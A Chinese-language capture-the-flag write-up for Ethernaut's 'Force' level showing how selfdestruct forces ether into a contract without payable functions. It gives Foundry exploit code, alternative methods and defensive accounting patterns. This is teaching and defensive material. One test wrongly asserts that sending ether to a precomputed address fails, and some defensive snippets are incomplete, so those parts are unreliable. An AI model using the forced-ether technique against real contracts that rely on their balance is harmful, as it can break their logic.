🎯 Ethernaut Level 7: Force - 强制发送以太币攻击

关卡链接: Ethernaut Level 7 - Force
攻击类型: 强制转账、selfdestruct 利用
难度: ⭐⭐☆☆☆

📋 挑战目标

  1. 向合约发送以太币 - 让 Force 合约的余额大于 0
  2. 绕过接收限制 - 合约没有 payable 函数或 fallback

Force Challenge

🔍 漏洞分析

合约源码分析

1
2
3
4
5
6
7
8
9
pragma solidity ^0.8.0;

contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}

关键问题

  • 合约完全空白,没有任何函数
  • 没有 payable 函数或 fallback/receive 函数
  • 正常情况下无法接收以太币

强制发送以太币的方法

尽管合约拒绝接收以太币,但有几种方法可以强制发送:

  1. selfdestruct() - 合约自毁时强制转移余额 ⭐
  2. 预计算地址挖矿 - 向未来地址预先发送以太币
  3. Coinbase 奖励 - 作为矿工奖励接收地址

💻 Foundry 实现

攻击合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";

// 目标合约 - 完全空白
contract Force {
// 空合约,无法正常接收以太币
}

contract ForceAttacker {
constructor() payable {
// 构造函数接收以太币
}

function attack(address payable target) public {
// 🎯 关键攻击:使用 selfdestruct 强制发送以太币
selfdestruct(target);
}
}

contract ForceTest is Test {
Force public force;
ForceAttacker public attacker;

address public user = makeAddr("user");

function setUp() public {
// 部署 Force 合约
force = new Force();

// 给用户一些以太币
vm.deal(user, 10 ether);
}

function testForceExploit() public {
console.log("=== 攻击前状态 ===");
console.log("Force 合约余额:", address(force).balance);

vm.startPrank(user);

// 部署攻击合约并发送以太币
attacker = new ForceAttacker{value: 1 ether}();

console.log("攻击合约余额:", address(attacker).balance);

// 🎯 执行攻击:自毁并强制发送以太币
attacker.attack(payable(address(force)));

vm.stopPrank();

console.log("=== 攻击后状态 ===");
console.log("Force 合约余额:", address(force).balance);
console.log("攻击合约余额:", address(attacker).balance);

// 验证攻击成功
assertGt(address(force).balance, 0);
console.log("攻击成功!Force 合约现在有以太币了");
}

function testNormalTransferFails() public {
vm.startPrank(user);

// 尝试正常发送以太币 - 应该失败
(bool success,) = address(force).call{value: 1 ether}("");
assertFalse(success);

console.log("正常转账失败,如预期");
assertEq(address(force).balance, 0);

vm.stopPrank();
}

function testPreComputedAddress() public {
// 演示预计算地址方法
address futureAddress = computeCreateAddress(user, vm.getNonce(user) + 1);

vm.startPrank(user);

// 向未来地址发送以太币
(bool success,) = futureAddress.call{value: 1 ether}("");
assertFalse(success); // 地址不存在,发送失败

console.log("预计算地址:", futureAddress);

vm.stopPrank();
}
}

其他强制发送方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract AlternativeAttacks {
// 方法 2: 预计算地址 (实际中很难实现)
function preComputedAttack() public payable {
// 1. 计算目标合约的未来部署地址
// 2. 向该地址发送以太币
// 3. 在该地址部署目标合约
// 注意:这需要控制部署时机,实际中很困难
}

// 方法 3: 作为矿工设置 coinbase (仅理论上可能)
function coinbaseAttack() public {
// 如果你是矿工,可以将目标地址设为 coinbase
// 挖矿奖励会直接发送到该地址
// 但这需要巨大的算力投入
}
}

🛡️ 防御措施

1. 避免依赖合约余额进行逻辑判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract VulnerableContract {
// ❌ 危险:依赖合约余额
function withdraw() public {
require(address(this).balance == 0, "Contract must be empty");
// 可被 selfdestruct 攻击绕过
}
}

contract SafeContract {
uint256 private internalBalance;

// ✅ 安全:使用内部记账
function deposit() public payable {
internalBalance += msg.value;
}

function withdraw() public {
require(internalBalance == 0, "Internal balance must be zero");
// 无法被外部强制修改
}
}

2. 使用内部状态变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract SecureForce {
uint256 private receivedAmount;

receive() external payable {
receivedAmount += msg.value;
}

function getReceivedAmount() public view returns (uint256) {
return receivedAmount; // 只计算主动接收的以太币
}

function getTotalBalance() public view returns (uint256) {
return address(this).balance; // 包括强制发送的以太币
}
}

3. 检查余额变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract BalanceMonitor {
uint256 private lastKnownBalance;

modifier balanceCheck() {
uint256 balanceBefore = address(this).balance;
_;
uint256 balanceAfter = address(this).balance;

// 检测意外的余额变化
if (balanceAfter != lastKnownBalance) {
emit UnexpectedBalanceChange(lastKnownBalance, balanceAfter);
}

lastKnownBalance = balanceAfter;
}

event UnexpectedBalanceChange(uint256 expected, uint256 actual);
}

📚 核心知识点

selfdestruct 机制

1
2
3
4
5
6
7
8
9
10
11
contract SelfDestructExample {
constructor() payable {}

function destroy(address payable recipient) public {
// selfdestruct 会:
// 1. 销毁合约代码
// 2. 将所有以太币发送给 recipient
// 3. 强制发送,无法被阻止
selfdestruct(recipient);
}
}

合约接收以太币的方式

方式 可被阻止 说明
正常转账 ✅ 是 需要 payable 函数
selfdestruct ❌ 否 强制发送,无法拒绝
预计算地址 ❌ 否 发送到未来地址
矿工奖励 ❌ 否 Coinbase 奖励

安全编程最佳实践

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// ❌ 不安全的模式
contract BadPattern {
function criticalFunction() public {
require(address(this).balance == 0, "Must be empty");
// 逻辑...
}
}

// ✅ 安全的模式
contract GoodPattern {
uint256 private expectedBalance;

function criticalFunction() public {
require(expectedBalance == 0, "Expected balance must be zero");
// 逻辑...
}

function updateExpectedBalance(uint256 amount) private {
expectedBalance = amount;
}
}

🎯 总结

Force 关卡教导了重要的以太币处理原则:

  • 永远不要依赖 address(this).balance - 可以被强制修改
  • 使用内部状态跟踪余额 - 更加安全可靠
  • 理解 selfdestruct 的强制性 - 无法被合约拒绝
  • 设计时考虑意外资金 - 处理非预期的以太币

这个看似简单的攻击揭示了以太坊虚拟机层面的重要特性。


🔗 相关链接